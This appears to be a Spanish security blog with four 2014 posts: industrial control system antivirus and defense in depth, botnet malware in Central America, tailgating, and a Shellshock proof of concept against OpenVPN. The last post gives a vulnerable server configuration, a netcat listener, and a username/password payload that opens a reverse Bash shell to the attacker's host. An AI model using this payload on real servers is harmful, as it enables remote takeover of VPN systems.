jueves, 30 de octubre de 2014

Antivirus en Sistemas de Control Industrial

Hola estimados,

Hoy deseo hablarles sobre un tema no tan conocido fuera del ámbito industrial. Los Sistemas de Control Industrial (ICS) están al límite entre lo privado y lo público. La infraestructura crítica está en manos de empresas que sirven al público, casi siempre. Las regulaciones de los gobiernos son lo único que motiva a muchas de estas compañías para que mantengan cierto nivel de seguridad.

El interés sobre los ICS ha aumentado desde que Stuxnet apareció en las noticias el año pasado. Esto se comprueba con el hecho de que la gente ha comenzado a publicar vulnerabilidades sin parchar y exploits. Los ICS y los sistemas llamados SCADA se enfocan en mejorar la fiabilidad y el tiempo de funcionamiento, pero la seguridad se ha quedado en un segundo plano.

De las pocas remediaciones a nivel país que se conocen, Irán curiosamente, aplicó una en 2010 cuando crearon un antivirus para eliminar el gusano Stuxnet. Este afectó los equipos industriales de todo el mundo, aunque tenía como blanco a las instalaciones industriales de Irán, sobre todo, la planta nuclear de Bushehr en el sur del país persa. 

Hoy en día es necesario incluso contar con sistemas de antivirus industriales, que permitan no solo una protección reactiva, sino que complementen el anillo de seguridad de estándares ya conocidos.

De acuerdo a los nuevos estándares internacionales sobre Seguridad Cibernética, las responsabilidades de los proveedores de soluciones son: 
  • Garantizar el diseño de productos y aplicaciones con características de seguridad 
  • Avalar que éstos permiten a los clientes cumplir con los estándares de seguridad 
  • Proveer recomendaciones y metodologías que orienten la implementación de estos estándares 

Y, respecto de los usuarios, las responsabilidades son: 
  • Definir procedimientos de seguridad (seguridad organizacional) 
  • Responsabilizar a las personas en el proceso (seguridad personal)
  • Garantizar el cumplimiento de los estándares de seguridad

Basado en lo anterior podemos asegurar que la puerta de entrada del malware a una empresa, en un porcentaje muy alto, será por la mal-llamada capa 8: el usuario final. Acá es donde entran a jugar los antivirus.

Un ejemplo de la importancia de tener un buen antivirus y su respectiva asistencia técnica, lo dió F-Secure en 2013 cuando descubrieron que muchos ataques eran dirigidos al sector energético, por medio de la propagación de la familia de malware (presenta 88 variantes) Havex en ICS.

Havex es un Troyano de Acceso Remoto (RAT), que llega a sus víctimas a través de correos electrónicos no deseados (spoofing) y kits de explotación, pero para maximizar la probabilidad de infección, los atacantes también utilizaron la técnica watering hole o abrevadero.

Hay muchas marcas y aplicación variada de los antivirus que se podrían usar. Por ejemplo, CIFS Integrity Monitoring (CIM), que es el programa antivirus industrial de Phoenix Contact. Sin tener que descargar archivos de patrones de virus, CIM reconoce si los sistemas basados en Windows como sistemas de control, unidades de mando o PC han sido manipulados, por ejemplo por software malintencionado. El CIM presenta un componente llamado CIFS-Antivirus-Scan-Connector, que permite a los escáneres antivirus externos realizar un análisis en unidades de disco posteriores a FL MGUARD (router-firewall) y que no son accesibles desde fuera, como en los PC industriales en células de producción.

Kaspersky también ha ofrecido soluciones propias para la industria de purificación de agua, en el campo de los antivirus.

Recuerden siempre el enfoque "Defense in Depth" (DiD) en seis pasos:

A nivel de diseño:

1. Plan de Seguridad. Crear, aplicar y actualizar políticas y procedimientos de seguridad. Ellos deben evaluar la vulnerabilidad, mitigar los riesgos y definir cómo recuperarse de eventuales incidentes.

A nivel de implementación:

2. Separación de la red. Separar completamente el Sistema de Automatización y Control Industrial (IACS) de otras redes internas o externas creando subredes físicas o lógicas, de modo de añadir una capa adicional de seguridad a una red organizacional LAN (DMZ, demilitarized zone).

3. Protección de perímetro. Proteger el Sistema de Automatización y Control Industrial (IACS) contra accesos no autorizados a través del uso de firewalls, autenticación, autorización, VPN y programas de antivirus. Además, contemplar los eventuales accesos remotos al Sistema de Automatización y Control Industrial (IACS)

4. Segmentación de la red. Utilizar switches administrados y VLANs para dividir la red en segmentos. Esto permite contener eventuales brechas de seguridad dentro de un único segmento.

5. Robustez de los dispositivos. Configurar adecuadamente los dispositivos PLCs, PACs, PCs, switches, entradas/salidas e instrumentos para aumentar la seguridad: fuerte gestión de accesos vía passwords; definición de perfiles de usuarios; desactivación de servicios e interfaces sin uso.

A nivel de operación y mantenimiento:

6. Monitoreo y actualización. Permanente supervisión de las redes de comunicaciones y de todas las operaciones. Actualizar software y firmware para reducir la vulnerabilidad.

En fin, hay muchas recomendaciones y soluciones al caso, pero siempre es bueno escuchar a los expertos. Siemens tiene varias herramientas interesantes. El US CERT se pronunció al respecto hace un tiempo atrás. Los conmino a leer las recomendaciones.

Nos vemos.

viernes, 10 de octubre de 2014

Botnets y Centroamérica, nuevo mercado!

Malas noticias queridos centroamericanos!

Según la firma Eset, en este 2014 la región centroamericana esta siendo invadida con dos tipos de malware, que ponen en peligro los sistemas. Estamos hablando de Win32/DorkbotVBS/Agent.NDH.

El primero ha estado en el podio de las detecciones. Este gusano que se comunica con su Centro de Comando y Control (C&C) a través del protocolo IRC da mucho que hablar. Cuenta con 80 mil equipos infectados, analizando sus capacidades y campañas de propagación.

Uno de los puntos de mayor efectividad en este gusano radica en sus métodos de propagación y persistencia en el sistema. Este logró abusar de los archivos LNK (Accesos directos) para infectar sistemas y afectar a millones de dispositivos USB que usuarios desprevenidos conectaban a cualquier equipo y luego conectaban en sus computadoras personales.

Innovando en sus técnicas de propagación, reemplazaba todas las carpetas y archivos por accesos directos, y para lograr ejecutarse modificaba el campo Target (Destino) por una concatenación de comandos que ejecutarían el archivo malicioso y luego abrirían la carpeta para que el usuario pueda ver los archivos.

Sin embargo, Dorkbot en los últimos meses perdió terreno en comparación a una nueva amenaza: VBS/Agent.NDH, uno de los gusanos más propagados en Latinoamérica.

Esta amenaza es un script, que utiliza la plataforma de Scripting de Microsoft para realizar sus acciones maliciosas y logró en solo un par de meses competir con Dorkbot e incluso superarlo en cantidad de detecciones en algunos países de Centroamérica, y del resto de América Latina.

VBS/Agent.NDH es capaz de descargar otras amenazas y generar visitas en sitios web, capacidad altamente relacionada al malvertising y a Black Hat SEO. Entre los efectos más críticos para un usuario, le otorga al cibercriminal un acceso remoto al equipo víctima.

¿Error de capa 8?

Todos sabemos que el phising (que se usa para las botnets) va dirigido a usuarios finales. ¿Ellos tendrán la culpa de eso? ¿Seremos mas bien nosotros, los de TI los responsables indirectos?

Lo primero que se recomienda es hacer charlas y capacitaciones donde se les explique qué es el phishing y cual esta magnitud de caer en esta trampa.

Estamos en la obligación de innovar con un sistema de prácticas realistas, donde se hagan laboratorios virtuales en entornos controlados y poder mostrarle al usuario a qué esta expuesto. Estas prácticas deben ser sin fines maliciosos, pero si para educar a los usuarios sobre cualquier temática de seguridad informática pero si recalcando el alcance de cada una de ellas. La prevención es un arma muy poderosa contra las ciberamenazas.

Los delincuentes cibernéticos ya no lanzan millones de correos electrónicos a la deriva como sucedía anteriormente, ahora utilizan técnicas dirigidas e intentan integrar tácticas de ingeniería social. Las redes sociales son puente para que los cibercriminales investiguen e incluso creen perfiles falsos para robar la información de las futuras víctimas.

 Investigadores de Websense indicaron que las principales líneas de ataque son las siguientes:
  1. Invitación a conectarse en LinkedIn.
  2. La entrega del mensaje ha fallado: devolver el mensaje al remitente.
  3. Querido cliente del banco .
  4. Comunicación importante.
  5. Mensaje no entregado devuelto al remitente.
Estas son las principales formas de engaño de los ciberdelincuentes para que los destinatarios hagan clic en un enlace malicioso y el archivo se descargue, infectando el dispositivo.

¿En la región somos ToE (Target of Evaluation)?

La firma Proofpoint se encontró un gran número de sitios web de WordPress que se vieron involucrados con un software malicioso llamado Qbot. La compañía analizó el malware y localizó un panel de control sin protección en un servidor utilizado por la banda para controlar las computadoras.

El panel de control arrojó una gran cantidad de información acerca de la campaña de malware, donde recogieron 800.000 credenciales de cuentas bancarias en línea, muchos de los cuales estaban en cinco de los mayores bancos de Estados Unidos y algunos en Europa.

Además de robar credenciales de banca en línea, los atacantes también parecen estar haciendo dinero de los ordenadores hackeados de otras maneras.

El malware Qbot también tiene un módulo llamado SocksFabric para una red de tunneling. Esa red se alquila a otros cibercriminales que pueden utilizar los ordenadores hackeados como proxies para utilizar sus propios datos en todo o enmascarar su actividad.

El 52% de los ordenadores comprometidos se ejecutaban con Windows XP. Sorprendente que todavía lo usen.

Un ejemplo de esta vigilancia la sufrió Costa Rica, en la cual, cerca de 100 clientes del Banco Popular fueron víctimas de una estafa que se realizó el pasado 27 de setiembre en la madrugada por el método de skimming. A cada cliente se le sustrajeron cerca de 250 USD, lo que entre todos equivale a un total de 25.000 USD.

Recuerde nuevamente, la prevención es su mejor arma.

jueves, 9 de octubre de 2014

Ingeniería social 101: Tailgating

Pura vida gente!

Como me comprometí a hacerles unos posts sobre ciberseguridad básicos, les comparto el tema de Tailgating

La palabra proviene de una costumbre social estadounidense (entiéndase "gringa"), donde se invita a la gente a compartir y degustar comida. Normalmente se hace con una parrilla, se abre la parte de atrás de un vehículo (de ahí el término tailgate) donde está todo lo necesario para la parrillada y se permite que gente de alrededor (incluso desconocidos) accedan a la comida.

Vamos al grano. El tailgating es un tipo de Ingeniería Social en donde un atacante puede obtener acceso (que originalmente no posee) a un área restringida, siguiendo a alguien que si posee el permiso de ingreso a dicha zona y que obviamente, actuando de manera tan natural como si en realidad tuviese permiso de ingreso. Para que me comprendan les comparto este video:


Pudieron observar que el primer intento si dio resultado y el segundo no, ¿por qué?

Para explicar eso, acudo a costumbres sociales establecidas bajo la palabra: cortesía. Este tipo de ingeniería social funciona, debido a que la gente (dependiendo de varios factores) normalmente es cortés. En muchos países es mal visto no sostener la puerta mientras otra persona trata de ingresar al mismo sitio que usted lo hace. Como resultado de eso, se abre una brecha de seguridad a nivel perimetral.

Cómo remediar dicha brecha? Sencillo. Si trabajas en una zona de acceso restringido y alguien desea entrar detrás tuyo o de alguien más, y que sea ajeno a dicho lugar, solo debes detenerlo y preguntarle 3 cosas: quién es (identificación), cuál es el objetivo de su visita (verificación) y a quién pretende visitar (autenticación).

Si las respuestas no te satisfacen, debes aclararle que se encuentra por ingresar a zona restringida y que necesita permiso. Le indicas que espere en una zona común, cierras la puerta de acceso restringido y luego llamas a seguridad para lo guíen donde se pueda identificar adecuadamente.

No necesitas ser rudo(a), solo firme.

Nos vemos.

viernes, 3 de octubre de 2014

ShellShock PoC para OpenVPN



Hola estimados,

Siguiendo con el trending topic de ShellShock, nos dimos cuenta que los servidores basados en OpenVPN son vulnerables al problema del Bash.

OpenVPN posee varias opciones de configuración que pueden llamar comandos personalizados durante diferentes etapas del tunnel session. Muchos de estos comandos son llamados con variables de entorno, y algunas de las cuales pueden ser controladas por clientes de este. Una opción usada para la autenticación (username+password) es "auth-user-pass-verify". Si el script llamado usa un shell vulnerable, el cliente simplemente puede enviar el exploit con el payload modificando esos dos parámetros. Este vector de ataque, como podrán imaginar, puede resultar dañino.

Funciona así:

La opción ejecuta un script, definido por el administrador, mediante el interprete de línea de comandos para validar los nombres de usuario y contraseñas proporcionados por los clientes. Esto abre la posibilidad de que ciertos clientes envíen nombres de usuario y contraseñas formados maliciosamente, para explotar la vulnerabilidad Shellshock cuando esos datos sean pasados a Bash como cadenas. Diabólicamente genial... desde un punto de vista académico, claro está.

Configuremos un ejemplo. Si deseas saber como se instala un servidor con OpenVPN sigue este manual. Asumamos que el servidor tiene esta configuración en el archivo server.config:

  1. ### server.conf
  2. port 1194
  3. proto udp
  4. dev tun
  5. client-cert-not-required      # Para que no pida certificados al cliente
  6. auth-user-pass-verify /etc/openvpn/user.sh via-env
  7. tmp-dir "/etc/openvpn/tmp"
  8. ca ca.crt
  9. cert testing.crt
  10. key testing.key               # Este archivo debería mantenerse como secreto de estado
  11. dh dh1024.pem
  12. server 10.8.0.0 255.255.255.0 # IP y máscara de prueba
  13. keepalive 10 120
  14. comp-lzo
  15. user nobody
  16. group nogroup
  17. persist-key
  18. persist-tun
  19. client-cert-not-required
  20. plugin /usr/lib/openvpn/openvpn-auth-pam.so login
  21. script-security 3
  22. status openvpn-status.log
  23. verb 3

Verificamos que tanto el usuario como la clave, puedan recibir literales de cadena como valores:

  1. ### user.sh
  2. #!/bin/bash
  3. echo "$username"
  4. echo "$password"

Iniciamos el servidor:

  1. ### Inicio del servidor
  2. openvpn tus_parametros_de_inicio

En un terminal aparte ponemos a escuchar con el NetCat, el puerto 4444:

  1. ### terminal 1
  2. nc -lp 4444

En un segundo terminal conectamos un cliente al servidor. Usaré la IP de ejemplo 10.10.0.52, además en el parámetro --ca estoy pasando un certificado (de todas formas no serviría puesto que arriba se configuró así):

  1. ### terminal 2
  2. sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca tuCertificado.cert --auth-nocache --comp-lzo

Acá viene la maña! Cuando nos pida usuario y clave, ponemos esto:

  1. ### usuario && clave ambas son "shellshockeadas"
  2. user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
  3. pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &

Explicación

Aplicamos ShellShock a través de cada parámetro (username y password). Básicamente le dijimos al puerto (en /dev/tcp/xxx.xxx.xxx.xxx/4444) que switcheara los file descriptors. Bien, lección Linux 101:

La expresión "0>&1" proviene de un concepto llamado file descriptor, que es usado generalmente en sistemas operativos tipo POSIX. En la terminología de Microsoft Windows y en el contexto de la biblioteca stdio, se prefiere el término "manipulador de archivos" o "manipulador de ficheros", ya que es técnicamente un objeto diferente. En POSIX, un descriptor de archivo es un entero, específicamente del tipo int de C. Hay 3 descriptores de archivo estándar de POSIX que presumiblemente tiene cada proceso, salvo quizá los demonios:

Valor enteroNombre
0Entrada estándar (stdin)
1Salida estándar (stdout)
2Error estándar (stderr)

Una forma de referirse a ellas es usando, según el lenguaje de programación y el entorno letras mayúsculas o minúsculas, los nombres STDIN, STDOUT y STDERR.

El shell del sistema es el encargado, generalmente, de abrir esta entrada y conectarla con el terminal al que está asignado el programa, puesto que es el programa más usual para comunicarse con un operador. Acá convertimos el STDIN en STDOUT... ¿por qué?

STDOUT determina el destino del resultado de un programa o proceso, por defecto es la pantalla y se muestra el resultado en la consola de la terminal, sin embargo puede redirigirse hacia un archivo, por ejemplo. Si ya les pasó por la cabeza, si... es para hacernos del control del servidor en forma remota por medio del servicio OpenVPN.

Lo que queda es fijarse en el log, te mostrará una info muy interesante acerca del certificado y otras cosillas. Les dejo la inquietud rebotando en sus cabezas... tírense al agua y prueben otros comandos.

Nos vemos gente!